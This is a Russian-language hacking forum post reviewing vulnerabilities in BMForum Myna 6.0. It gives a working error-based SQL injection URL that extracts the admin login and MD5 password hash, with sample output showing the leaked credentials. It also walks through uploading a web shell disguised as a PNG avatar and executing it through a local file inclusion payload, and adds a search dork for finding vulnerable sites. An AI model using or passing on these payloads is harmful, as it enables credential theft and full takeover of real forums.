Старый 06.07.2010, 22:45   #1
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию Обзор уязвимостей BMForum

Author: http://www.bmforum.com/
Version: Myna 6.0

SQL-инъекция
[Зависимости: mq=off]

File: baidu.php

PHP код:
header("Content-type:application/xml; charset=utf-8"); 
... 
$tagname $_GET['tagname']; 
if (
$see_a_tags != && $tagname) { 
    
$query "SELECT * FROM {$database_up}tags WHERE tagname='$tagname' ORDER BY 'tagid' DESC LIMIT 1"
    
$result bmbdb_query($query);  
    
// Tags Row 
    
$tag_row bmbdb_fetch_array($result); 
    
$th_tags substr($tag_row['filename'], 1);  
    
// Threads 
    
$th_tags_ex implode("','"explode(","$th_tags)); 
    
$add_tag_sql " AND tid in('$th_tags_ex')";  
    
$forumtitle .= "- " $tagname

$query "SELECT p.*,u.ugnum,u.postamount,u.point FROM {$database_up}threads p LEFT JOIN {$database_up}userlist u ON u.userid=p.authorid WHERE p.id=p.tid $add_sql$add_tag_sql ORDER BY `changetime` DESC LIMIT 0,$minv"
Как видим уязвим первый запрос, результаты первого запроса участвуют во втором. Можно крутить и через второй запрос, там есть вывод, но так как вывод ошибок в этом форуме принудительный, проще и быстрее крутить как слепую.

Target:
Код:
http://localhost/bugs/bmp/baidu.php?tagname=2'+or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username  ,pwd)+from+bmb_userlist+where+userid=1),floor(rand(0)*2)))u)+--+1
В современных браузерах выдаст ошибку XML-содержимого, поэтому открываем исходники и смотрим:

Код:
strong>Time</strong>: 2010-6-19 12:30pm<br /> 
<strong>Script</strong>: /bugs/bmp/baidu.php<br /> 
<br /> 
<strong>SQL</strong>: SELECT * FROM bmb_tags WHERE tagname='2' or (select * from (select count(*) from (select 1 union select 2 union select 3)r group by concat((select concat_ws(0x3a,username,pwd) from bmb_userlist where userid=1),floor(rand(0)*2)))u) -- 1' ORDER BY 'tagid' DESC LIMIT 1<br /> 
<strong>Description</strong>:  Duplicate entry 'admin:21232f297a57a5a743894a0e4a801fc31' for key 'group_key'<br /> 
<strong>Error NO.</strong>:  1062</p>
Передав скрипту ?tagname=1' узнаем префикс таблиц.
Пароли в простом md5.

Дорк: "Powered by BMForum Myna 6.0"

Заливка шелла
[Зависимости: права пользователя,rg=on]

Уязвимость состоит из двух частей, загрузка исполняемого кода на сервер, и его инклуд=выполение.

Загрузка кода

File: ua.php

PHP код:
$FILE_URL $_FILES['attachment']['tmp_name']; 
            
$FILE_NAME safe_upload_name($_FILES['attachment']['name']); 
            
$FILE_SIZE $_FILES['attachment']['size']; 
            
$FILE_TYPE safe_upload_name($_FILES['attachment']['type']); 
... 
if (
$upload && $check) { 
            
$upload_tmpurl "tmp/" $timestamp $currentext
            
move_uploaded_file($FILE_URL$upload_tmpurl); 
            
$size getimagesize($upload_tmpurl); 
             
            if ((
$size[0] > $maxwidth || $size[1] > $maxheight) && eregi("\.(gif|jpg|jpeg|swf|bmp|png)$"$FILE_NAME)) { 
                
imageshow($upload_tmpurl$maxwidth); 
                
$size[0] = $auto_width
                
$size[1] = $auto_height
            } 

            if (
$size[0] > $maxwidth || $size[1] > $maxheight) { 
                
$check 0
                
$reason $ua[5]; 
            } else { 
                
$upload_aname "upload/usravatars/" $timestamp "." $currentext
                
copy($upload_tmpurl$upload_aname); 
            }  
            
$todelportait explode('%'$thisavarts); 
            eval(
load_hook('int_ua_upload_process')); 
             
            @
unlink($upload_tmpurl); 
        } 
Target: Необязательно слать картинку, я просто переименовал wso.php в image.png, и он прошел все проверки, так как нет проверки, на выполнение команды getimagesize, скрипт просто смотрит, не превышают ли ее значения допустимых. а так как во всех своих значениях она вернула false, значение установленные форумом будут больше, и проверку пройдена. То есть, грузим шеленг. Смотрим адрес нашей аватары в профиле, и инклудим ее.

Локальный инклуд

File: /newtem/header/bsd01header.php

PHP код:
 global $log_hash$database_up$bmfopt$usertype$userpoint$language
include(
"lang/$language/hefo.php"); 
Target:
Загружаем аватарку с нашим кодом.
Код:
http://target/forum/p/newtem/header/bsd01header.php?language=/../../../upload/usravatars/1276946750.png[%00 or /////max///]&c=dir
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием
Ответ

Метки
lfi, sql-inj

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot